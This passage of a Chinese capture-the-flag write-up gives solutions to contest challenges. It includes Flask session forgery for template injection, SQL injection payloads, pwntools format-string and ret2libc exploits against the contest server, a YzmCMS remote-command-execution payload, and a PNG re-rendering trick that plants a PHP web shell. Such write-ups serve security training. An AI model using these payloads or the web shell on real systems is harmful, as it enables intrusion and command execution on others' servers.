code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
message = "Oh,I believe in you! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
在admin路由下,如果数组role里的is_admin的值为1,则讲role放到render_template_string函数中并返回
render_template_string()
存在ssti
role数组里有两个元素,is_admin需要为1,所以还可以利用flag的值来注入
即{‘role’:{‘flag’:’’,’is_admin’:1}}
先session伪造
密钥已经告诉我们了’0day_joker’
利用伪造session的脚本flask_session_cookie_manager3.py(网上一搜就可以找到)
命令:
python flask_session_cookie_manager3.py encode -s “0day_joker” -t “{‘role’:{‘flag’:’’,’is_admin’:1}}”
得到sseion
在/admin路由下传入
回显了10,说明伪造成功了,而且确实是ssti
那么接下来改role数组中flag的值来ssti注入即可
最终命令
python flask_session_cookie_manager3.py encode -s “0day_joker” -t “{‘role’:{‘flag’:’’,’is_admin’:1}}”
传入即可获得flag
[Week2]自助查询
payload:
1") order by 2
-1") union select database(),version()
-1") union select 2,group_concat(table_name) from information_schema.tables where table_schema='ctf'
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctf'
-1") union select 1,group_concat(id , scretdata) from flag;
提示在注释里面
-1") union select 1,column_comment from information_schema.columns where table_schema = 'ctf' and table_name = 'flag' and column_name = 'scretdata'; #
Rev
[Week2]babytea
#include <cstdio>
#include <cstring>
int *__fastcall tea_decrypt(unsigned int *a1, unsigned __int8 *key)
{
int *result; // rax
unsigned int sum; // [rsp+20h] [rbp-10h]
unsigned int i; // [rsp+24h] [rbp-Ch]
unsigned int v1; // [rsp+28h] [rbp-8h]
unsigned int v0; // [rsp+2Ch] [rbp-4h]
v0 = *a1;
v1 = a1[1];
sum = 0x8DDE2E40 + 0x61C88747 * 64;
for (i = 0; i <= 63; ++i)
{
v0 += (((16 * v1) ^ (v1 >> 5)) + v1) ^ v1 ^ (*&key[4 * (sum & 3)] + sum);
sum -= 0x61C88747;
v1 += (((16 * v0) ^ (v0 >> 5)) + v0) ^ v0 ^ (*&key[4 * ((sum >> 11) & 3)] + sum);
}
*a1 = v0;
a1[1] = v1;
printf("%c%c%c%c",
*((unsigned char*)&v0 + 0) & 0xff,
*((unsigned char*)&v0 + 1) & 0xff,
*((unsigned char*)&v0 + 2) & 0xff,
*((unsigned char*)&v0 + 3) & 0xff);
printf("%c%c%c%c",
*((unsigned char*)&v1 + 0) & 0xff,
*((unsigned char*)&v1 + 1) & 0xff,
*((unsigned char*)&v1 + 2) & 0xff,
*((unsigned char*)&v1 + 3) & 0xff);
return result;
}
int main() {
unsigned int v3[4] = {1, 1, 2, 3};
unsigned int v1[10] = {0x18C2E339, 0xE9550982, 0x108A30F7, 0x18430DD, 0xD5DE57B0, 0xD43E0740, 0xF42FDDE4, 0x968886E8, 0xE5D77B79, 0x685D758F};
unsigned int v2[10];
for (int i = 0; i <= 9; i += 2) {
v2[i] = v1[i];
v2[i + 1] = v1[i + 1];
tea_decrypt(&v2[i], (unsigned __int8 *)v3);
}
printf("Decrypted data:\n");
for (int i = 0; i < 10; ++i) {
printf("%08X", v2[i]);
}
return 0;
}
[Week2]花语
把jz jnz跳转nop掉再将数据块重新转为代码重新编译即可看到正确逻辑
def swap_pairs(flag):
# 第一步:前 29 个字符,两两交换
for i in range(0, 29, 2):
flag[i], flag[i + 1] = flag[i + 1], flag[i]
return flag
def reverse_pairs(flag):
# 第二步:对前半部分和后半部分的字符交换
v17 = 0
while v17 < 14:
flag[v17], flag[29 - v17] = flag[29 - v17], flag[v17]
v17 += 1
return flag
def decrypt_flag():
# 已知字节数组
byte_ACCDE8 = [
0x21, 0x7D, 0x67, 0x67, 0x61, 0x67, 0x6C, 0x6C, 0x6C, 0x6C,
0x66, 0x66, 0x5F, 0x66, 0x61, 0x75, 0x5F, 0x68, 0x69, 0x73,
0x59, 0x5F, 0x6B, 0x65, 0x46, 0x7B, 0x43, 0x54, 0x53, 0x48
]
# 将字节数组转换为字符串
flag = [chr(byte) for byte in byte_ACCDE8]
# 进行两次操作:swap_pairs 和 reverse_pairs
flag = swap_pairs(flag)
flag = reverse_pairs(flag)
# 输出最终的 flag
decrypted_flag = ''.join(flag)
return decrypted_flag
result = decrypt_flag()
print(result)
[Week2]cancanneed
读取本地文件xxnd图片数据,从2080开始读取16字节作为key进行AES解密
def read_bytes_after_skip(file_path, skip_bytes, read_length):
try:
with open(file_path, "rb") as file:
file.seek(skip_bytes)
data = file.read(read_length)
print("读取的字节:", data.hex())
return data
except FileNotFoundError:
print("文件未找到:", file_path)
except IOError as e:
print("文件读取失败:", e)
file_path = "./xxnd.jpg"
skip_bytes = 2080
read_length = 16
read_bytes_after_skip(file_path, skip_bytes, read_length)
from Crypto.Cipher import AES
import base64
import binascii
def aes_ecb_pkcs5_decrypt(key, ciphertext):
key_bytes = binascii.unhexlify(key)
ciphertext_bytes = base64.b64decode(ciphertext)
cipher = AES.new(key_bytes, AES.MODE_ECB)
decrypted_bytes = cipher.decrypt(ciphertext_bytes)
padding_length = decrypted_bytes[-1]
plaintext_bytes = decrypted_bytes[:-padding_length]
return plaintext_bytes
key = "02d7dd3fa96e3fcc89407d9116d8ad50"
ciphertext = "7zkErqD/oevxjIIjgJswFk3+vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha"
plaintext_bytes = aes_ecb_pkcs5_decrypt(key, ciphertext)
plaintext = plaintext_bytes.decode("utf-8", errors="ignore")
print(plaintext)
[Week2]Loader
enc解密后是dex文件,直接equal的直接调用函数即可得到flag
function hook1() {
Java.perform(function () {
let MainActivity = Java.use("com.android.loader.MainActivity");
MainActivity["GetData"].implementation = function (context) {
console.log('GetData is called' + ', ' + 'context: ' + context);
let ret = this.GetData(context);
console.log('GetData ret value is ' + ret);
return ret;
};
})
}
function hook2(){
Java.perform(function () {
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
var factory = Java.ClassFactory.get(loader);
var CheckerClass = factory.use("com.android.loader.GetFlag");
var flag = CheckerClass.generateRandomString(4310,12);
console.log("Flag: " + flag);
} catch (e) {
// console.log("Error accessing class or method: " + e);
}
},
onComplete: function () {
}
});
});
}
function main(){
hook1();
hook2();
}
setTimeout(main,300)
[Week2]Android?Harmony!
使用魔改jadx对module.abc进行反编译
对这段代码进行解密得到
b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc
def decrypt_char(encrypted_char):
val = ord(encrypted_char) - 32
for i in range(95):
if (((114514 * i) + 1919810) % 95) == val:
original_val = i + 32
return chr(original_val)
return '?'
def decrypt_string(encrypted_string):
decrypted_string = ""
for char in encrypted_string:
decrypted_string += decrypt_char(char)
return decrypted_string
data = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"
de_data = decrypt_string(data)
print(de_data)
使用bfs将迷宫路径输出
maze = [
["#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#",
"#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#",
"#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#",
"#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#"],
["#", " ", "#", " ", " ", " ", " ", " ", "#", " ", " ", " ", " ", " ", " ", " ", " ", " ", "#", " ", " ", " ", " ",
" ", " ", " ", "#", " ", " ", " ", " ", " ", "#", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ",
" ", " ", " ", " ", "#", " ", " ", " ", " ", " ", " ", " ", "#", " ", " ", " ", "#", " ", " ", " ", "#", " ", " ",
" ", "#", " ", " ", " ", "#", " ", " ", " ", " ", " ", " ", " ", " ", " ", "#"],
.........
["#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#",
"#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#",
"#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#",
"#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#", "#"],
]
rows = len(maze)
cols = len(maze[0]) if maze else 0
print(f"迷宫的行数为:{rows},列数为:{cols}")
# 起点和终点
start = (1, 83)
end = (77, 1)
# 定义四个方向和对应的字符
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
dir_chars = ['w', 's', 'a', 'd']
from collections import deque
def bfs(maze, start, end):
n = len(maze)
m = len(maze[0])
queue = deque()
queue.append(start)
visited = [[False]*m for _ in range(n)]
prev = [[None]*m for _ in range(n)]
visited[start[0]][start[1]] = True
while queue:
x, y = queue.popleft()
if (x, y) == end:
break
for i, (dx, dy) in enumerate(directions):
nx, ny = x + dx, y + dy
if 0 <= nx < n and 0 <= ny < m and maze[nx][ny] == " " and not visited[nx][ny]:
queue.append((nx, ny))
visited[nx][ny] = True
prev[nx][ny] = (x, y, dir_chars[i])
if not visited[end[0]][end[1]]:
return None # 无路径可达
# 重建路径
path = []
x, y = end
while (x, y) != start:
x_prev, y_prev, move = prev[x][y]
path.append(move)
x, y = x_prev, y_prev
path.reverse()
return ''.join(path)
def dfs(maze, start, end):
n = len(maze)
m = len(maze[0])
stack = [(start, [])]
visited = [[False]*m for _ in range(n)]
visited[start[0]][start[1]] = True
while stack:
(x, y), path = stack.pop()
if (x, y) == end:
return ''.join(path)
for i, (dx, dy) in enumerate(directions):
nx, ny = x + dx, y + dy
if 0 <= nx < n and 0 <= ny < m and maze[nx][ny] == " " and not visited[nx][ny]:
visited[nx][ny] = True
stack.append(((nx, ny), path + [dir_chars[i]]))
return None # 无路径可达
# 调用BFS算法
optimal_path_bfs = bfs(maze, start, end)
if optimal_path_bfs:
print("使用BFS算法找到的最优路径为:", optimal_path_bfs)
else:
print("Unreachable.")
# 调用DFS算法(可选)
optimal_path_dfs = dfs(maze, start, end)
if optimal_path_dfs:
print("使用DFS算法找到的路径为:", optimal_path_dfs)
else:
print("Unreachable.")
使用鸿蒙NEXT模拟器安装软件将密钥输入
在手机文件夹下找到输出的文件
将文件的数据提取出来,使用bfs跑出的路径将途径的字符输出
# 定义迷宫
maze = [
"#####################################################################################",
"# # # # # b # # # # # # # *#",
"# # ### # ######### ##### # # ### ############### # ##### ### # # # # ### # ####### #",
"# #4 # # # # # # # # c# # # # # 4# # # # # S#",
"# # # # # # # # # ####### # ##### # ################# # ### ### ########### # ### # #",
"# # # # # # # # # # # # # # # # # # 2 # # # # #",
"# # ### # # ##### # ####### # ########### # ### # ####### ### # ### # # ##### # #####",
"# 0# # # # 3 # # # # # # # 3 # # # # #1 # # H #",
"### # ### # # ####### ### # # # ############# ##### # # ### # ####### ### ######### #",
"# #3 # # # # c # # f # 2# 0 # #8 # # # # C #",
"# ### # ######### # ### ##### ##### ### ##### ### ### # ####### ### ### ### #########",
"# # # # b # # # # # # # 9 # # # # # # # # # # T # # #",
"# # ##### ### ##### # ##### # # # ######### ### ####### # # # ### # # # # ### # # # #",
"# # # b # # # # # # # # e # # # b# # # # c# # # # # # # #",
"### # ####### # ### ### # ##### ### ##### ### ######### # # ### # # ##### ##### # ###",
"# # # # #2 a 8 # # 3# a# # # # # # # # # # # #",
"# ##### # # # # ##### ########### # # ### # # # ##### ##### # ### ##### ##### # ### #",
"# # # # # # # 1 # # a # # # # 6# # # # # d # 4 # # #F # # #",
"##### # # # # # ### ### ### ### ### ### ##### # # # # # ####### ### ##### # # ### # #",
"# # # # # # # # # #9 # # # # # # # # # # # # # # # # # 6# #",
"# ######### # # # ### # # # # # # ####### ##### # ##### # # # ### ### # # # # # # # #",
"#b # #4 #5 # # # -# 8 #9 4 # # # # # # # #2 - 8 { # # #",
"# ############### ### ########### # # # # # ##### # ##### # # # ### ### ### ##### # #",
"# # e # # # # 5 # # # # # # # # # # 5#5 # # # # # #",
"# ### # # # # # ####### # ##### ### # # ### # # ##### ####### # # ### ### ### # ### #",
"# # # # # # # # # # # # # # # # # # 0# # # # # # # # # #",
"# # ### # ##### # ### # ### # # # ########### # # # # # ####### ##### # ### # ### # #",
"# # # # #3 # #d # # # # # # 5 # # c # # # # # # # # #",
"# ### ####### # ### # ### ########### # ### # ####### ### ####### # ### # ### # # # #",
"# -# # # # # # # # # # # 1 # # # # #a # # # # # #",
"##### # ####### # ######### # # # ##### # ##### ##### # ### # # ### ### ### # # #####",
"# # # # # b # # # e#- # # # # # # # # # # # # # # 1#8 #",
"# # ##### # ####### # # # # ### # ##### ######### # ### # # ### # # # ### ### # ### #",
"# # # # # # # # # #d 9 # # # # # #9 d # 7# # 5# f# # # #",
"# # # ##### # ### # ######### # ##### ##### # ##### # ### ### ### ####### # # # # # #",
"# d# # # # 7# # e # # # # 4 # 4 # # # 6 # # # #",
"### # # ######### # ##### ######### ##### ############# ### ### ### ########### #####",
"# #3 # # # # # # # # # # # # # # # # 9 #",
"# ### ### ##### # # # # ####### ##### ##### # ##### # ### ### # # ### # ########### #",
"#7 # # 8 # # # # # # # # # a # # # 1# # # #a # # #",
"# # # ##### # ####### # # # # ##### ### # ####### ##### # # ########### ##### # ### #",
"# # # 1# # # # # # # # # # # # # # b# # # # # # #",
"# ##### ### # # # # ### # # ######### # ####### ### # ##### # ##### # # # ####### ###",
"# # # # # # # # 2 # # # # # 9# # # # # # # # #9 #",
"##### ##### # # # # # ####### # ######### # # ##### ### # ##### # # ######### # # # #",
"# # #5 # # # # 0 # # # # # # 9 # # 3# # d # 6#d # #",
"# ##### ##### ### ##### # # ##### # # ####### # ##### ### # ### # ### ### ### # #####",
"# # # # # # # # # # # # # # # # #b # # # # 9# # # # #c #",
"# # # ##### # # # # # ### ### # ### # # # # # ### # ### ##### # ### ### # # ### ### #",
"# # # # f # # # # # # 9# # #2 # 2 b # # # # # # # # # #",
"# # # # # ### # # # ### ##### ### ### ##################### # ### ########### # # ###",
"# # # # #- # 3 #3 2 # # # # # # 6 # # # # # # #",
"##### # ### # ####### # # ##### ####### ### # ####### # # ##### ##### # ### ### ### #",
"# 4# # 2 # # # # #7 # # # # # 1# # # #9 -# # # # #",
"# ### # ### ### ####### ### # # # # ##### # ####### ### ##### # # # # # # ####### # #",
"# # # # # #1 # 6# # # # 4 # 5# # # #1 # # # # # c #",
"### # ### ####### ##### ####### # # # # ######### # # ### # # ### ##### ##### # #####",
"# # # # # # # # #4 # # # # # # # # # # 5 # #",
"######### # ### ##### # # ######### ##### # # ####### # ####### ### ############### #",
"# # # # # # # 1 # # # # # c # # 5 1 # # # 2# d a #",
"# # # # # # # # ### ### # # # ### ### # # ##### ####### # # ### ############# #######",
"# # # # # #4 # # #a e# # # # # # # # #5 1 # # # #",
"# # # ######### # # # ### # # # # ######### # ####### ##### ##### # ### ####### ### #",
"# # # # # # 6 # # # # # # # # # a # # # # #6 # # #",
"# # ### ### ########### ### # # ##### # ### # # # ##### ##### ####### # ### # ### ###",
"# #1 # # # # # # # 8 # # # # # # # # # # - # # #",
"# # # ### ##### # ### # # # ######### ### # ######### # # ##### ### ##### ##### ### #",
"# # # # # f 5# # # # b # # # #f # # # # # 4#",
"# # ### ### ##### # ############### ##### ### # # ##### # ### ### ### ####### ##### #",
"# # # # # # # # d # c # # # # # # #1 # # e# # # 1 #",
"# ####### # # ##### # ### ############# ### # ### # # # ##### # # # # # # # ### # ###",
"# # # 0# # # # # # # # # # # # # # # # # # # # # #",
"### ### ### # # # # ### # # ### # # ##### ########### # # ######### ##### ### ##### #",
"# } # # # # # # 8 8# # # # 4 # # # #4 # # # # # # # d#",
"##### ####### ####### ######### # # # ####### ### # # # # ### # # ### # ### ### # # #",
"# # # # 1 # 8 # #- # d # # 5# # # # d#a # # # #",
"# # # # ### ##### # ### # # ##### ########### # ##### ##### ####### # # ##### ### ###",
"#@# # # # # e # # # 1 # 1 # # # # b - # b # # # 5 #d #",
"# ##### # # ### ##### # ### # # ##### # # ####### # ### ##### # ##### # ####### # # #",
"# # 4# # # # # # # # # # # # # # #d # # # # # # # a# # #",
"# ##### ##### ### # # # # ##### # # # ### # ##### # # # # ##### # # ##### # ### # ###",
"# 4 7 # 3# # # # # # 6 # # # # # # # # # # # f # # # #c #",
"### ####### # # # ##### # # ####### ################# # ##### # ##### # ### # # # # #",
"# # # # # # # # # # # # # #",
"#####################################################################################",
]
# 定义最优路径
optimal_path = "ssaassaassddddssaaaaaaaassaassssddddssssssaassddssssssssssaassaaaaaaaassaassddddwwddssssssaawwaassssddssddssddwwwwddddssaassddssaassaassddddssaaaaaawwwwaassaawwaassssddssddddddddddssaaaaaassddddssddwwddwwddddssaassddssssaaaassaassaassaaaawwddwwwwaassaawwaassssaassaawwaassaassaaaaaaaassddssssaaaaaaaaaaaaaaaaaawwwwaassaawwwwddwwwwwwaassaaaaaawwwwddddddddddwwaaaaaaaawwwwwwaawwwwddddddwwaawwaassaaaawwwwwwaawwaassssddssaaaaaassaaaawwwwaawwaassssssddssssssaawwaassssddssddssaassaaaawwwwwwwwwwaassssssssssssddssddssssaawwaass"
# 初始化起点和终点
start = (0, 0)
end = (0, 0)
# 找到起点和终点
for i, row in enumerate(maze):
if '*' in row:
start = (i, row.index('*'))
if '@' in row:
end = (i, row.index('@'))
# 按最优路径提取经过的字符
path_characters = []
current_pos = start
# 处理路径
for move in optimal_path:
if move == 's': # down
current_pos = (current_pos[0] + 1, current_pos[1])
elif move == 'w': # up
current_pos = (current_pos[0] - 1, current_pos[1])
elif move == 'a': # left
current_pos = (current_pos[0], current_pos[1] - 1)
elif move == 'd': # right
current_pos = (current_pos[0], current_pos[1] + 1)
# 确保在边界内
if 0 <= current_pos[0] < len(maze) and 0 <= current_pos[1] < len(maze[0]):
if(maze[current_pos[0]][current_pos[1]] != ' '):
path_characters.append(maze[current_pos[0]][current_pos[1]])
# 输出经过的字符
print("经过的字符:", ''.join(path_characters))
原本的逆向思路是bfs跑出的路径经过checkground后经过FillFlag填入迷宫中,但是checkground的逻辑一直不能还原实现,所以找到了鸿蒙NEXT模拟器跑一下程序,用程序自己将flag填入迷宫再使用跑出的最优路径输出最终的flag
Pwn
[Week2]json_printf
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
#context(log_level='debug',arch='amd64', os='linux')
context(log_level='debug',arch='i386', os='linux')
#p = process('./json_printf')
p = remote('210.44.150.15',41500)
elf = ELF('./json_printf')
#libc = ELF('./libc.so.6')
#gdb.attach(p, 'b *0x804948F')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
#backdoor = 0x80494A4
#bss = 08052074
pay0 = b'{"name":'+b'\"'+fmtstr_payload(7, {0x8052074: 0x3E7})+b'\"'+b',"age":18}'
sa(b'How to send data?',pay0)
p.interactive()
[Week2]json_stackoverflow
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('210.44.150.15',12345)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#gdb.attach(p, 'b *0x8049599')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8049432
pay0 = b'{"name":'+b'\"'+b'a'*(0x48)+b'bbbb'+p32(puts_plt)+p32(main_addr)+p32(puts_got)+b'\"'+b',"age":99}'
sa(b'How to send data?',pay0)
p.recvuntil('age:')
rl()
puts_addr = u32(p.recv(4))
print("puts_addr->",hex(puts_addr))
libc_base = puts_addr- libc.sym['puts']
system = 0x41360+libc_base
binsh = 0x18C363+libc_base
print("libc_base->",hex(libc_base))
pay1 = b'{"name":'+b'\"'+b'a'*(0x48+4)+p32(system)+p32(0x0804900e)+p32(binsh)+b'\"'+b',"age":18}'
pause()
sa(b'How to send data?',pay1)
p.interactive()
[Week2]ezorw
from pwn import *
from struct import pack
from ctypes import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name, x: log.info(name + ':' + hex(x))
context(log_level='debug', arch='amd64', os='linux')
p = remote('210.44.150.15', 43050)
elf = ELF('./pwn')
# exp
sa("Give you a gift", b'flag' * 6 + b'\xBB')
s(b'flag' * 6 + b'\x97')
p.interactive()
Crypto
[Week2]ezECC
from gmpy2 import *
A1 = (
5945412329827707694132352090606154232045921322662767755331097180167148601629747751274580872108985870208681845078153424348847330421799769770041805208089791,
4113102573821904570542216004200810877456931033522276527318388416329888348077285857968081007666714313806776668203284797556825595791189566621228705928598709)
C = (
2336301464307188733995312208152021176388718095735565422234047912672553316288080052957448196669174030921526180747767251838308335308474037066343018337141276,
6868888273736103386336636953449998615833854869329393895956720058438723636197866928342387693671211918574357564701700555086194574821628053750572619551290025)
p = 9799485259524549113003780400336995829253375211044694607315372450399356814285244762186468904824132005209991983177601498069896166228214442123763065076327679
k = 73771953838487511457389800773038323262861649769228176071578897500004883270121
x1, y1 = A1
x2, y2 = C
a = ((y1 ** 2 - x1 ** 3) - (y2 ** 2 - x2 ** 3)) * invert(x1 - x2, p) % p
b = (y1 ** 2 - x1 ** 3 - a * x1) % p
print("a =", a)
print("b =", b)
E = EllipticCurve(Zmod(p),[a,b])
A1 = E(A1)
A2 = A1*k
print("A2 =",A2)
C = E(C)
M = C-A2
print("M =",M)
from sympy import prevprime
from Crypto.Util.number import *
m = 133829459905635890502862981237631940794467118483270617546174979
num = prevprime(m)
for i in range(num,m):
flag = long_to_bytes(i)
if flag.startswith(b'SHCTF{') and flag.endswith(b'}'):
print(flag)
[Week2]E&R
from Crypto.Util.number import *
a = 5599968251197363876087002284371721787318931284225671549507477934076746561842
n = 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909
e = 65537
CC = 6803450117490196163076010186755045681029929816618361161925865477601994608941714788803007124967390157378525581080320415602012078322064392991884070073083436
bina = bin(a)[2:]
bina = '0' * (256 - len(bina)) + bina
def dfs(P, Q, Round):
if Round == 128:
if P * Q == n:
global p, q
p, q = P, Q
return 1
for i in range(2):
for j in range(2):
CurP = P + i * (2 ** (255 - Round)) + (int(bina[Round]) ^ j) * (2 ** Round)
CurQ = Q + j * (2 ** (255 - Round)) + (int(bina[255 - Round]) ^ i) * (2 ** Round)
if CurP * CurQ > n:
continue
if (CurP + 2 ** (255 - Round)) * ((CurQ + 2 ** (255 - Round))) < n:
continue
if (CurP * CurQ) % (2 ** (Round + 1)) != n % (2 ** (Round + 1)):
continue
dfs(CurP, CurQ, Round + 1)
return 0
p, q = None, None
dfs(0, 0, 0)
assert p != None and q != None
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(CC, d, n)))
#ECC
from sage.all import *
from Crypto.Util.number import *
from gmpy2 import *
p = 109947782034870726628911928816041880655659770652764045401662566933641952899777
q = 64760524083545528318139240449356269097871629401328435356643510319660757701117
a = 114514
b = 1919810
c = 4143131125485719352848137000299706175276016714942734255688381872061184989156686585992844083387698688432978380177564346382756951426943827434190895490233627
e = 65537
E = EllipticCurve(Zmod(p), [a, b])
l = E.order()
ct = E.lift_x(Integer(c))
e_inverse = invert(e, l)
pt = ct * e_inverse
print(pt)
# mt = pt*e
# print(mt)
c1 = pt.xy()[0]
print(c1)
E = EllipticCurve(Zmod(q), [a, b])
print(E.order())
l = E.order()
ct = E.lift_x(Integer(c))
print(ct)
e_inverse = invert(e, l)
pt = ct * e_inverse
print(pt)
# mt = pt*e
# print(mt)
c2 = pt.xy()[0]
print(c2)
c = [c1, c2]
nk = [p, q]
print(long_to_bytes(int(c2)))
[Week2]魔鬼的步伐
import gmpy2
from Crypto.Util.number import long_to_bytes
def pollard_rho_factorization(n):
a, i = 2, 2
while True:
a = gmpy2.powmod(a, i, n)
factor = gmpy2.gcd(a - 1, n)
if 1 < factor < n:
return factor
i += 1
def decrypt_rsa(ciphertext, modulus, exponent):
p = pollard_rho_factorization(modulus)
q = modulus // p
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(exponent, phi_n)
return long_to_bytes(gmpy2.powmod(ciphertext, d, modulus))
n = 16406692392157831832942515132030668644015866983936752773685760202434194851276620981525376502029624390877942049839572079873703766067059544970863779834507076817039580729579356976281456102419380991336884677251840045823089067586882387178924739264467670441322887594168394325986406252562323321662124137282808728438489
e = 65537
c = 2831375061766560983395394354014417383952522459405486184220659563360874292733616506779721232913794639808886519320394922739360791496269924305027343444211140030899969752757090371901499981926571155228433601612311973806520836447052451442018079455172387262994905779147573736904196332930208349608393716998045807217151
plaintext = decrypt_rsa(c, n, e)
print(plaintext)
Web
[Week3] 小小cms
YzmCMS pay_callback 远程命令执行漏洞
Payload:
210.44.150.15:45271/pay/index/pay_callback
POST:out_trade_no[0]=eq&out_trade_no[1]=cat /flag&out_trade_no[2]=system
[Week3] 拜师之旅·番外
文件上传png二次渲染
php脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
生成一个png二次渲染的图片
然后直接传上去
访问上传位置 执行命令即可
readfile函数可以使用
示例数据包如下
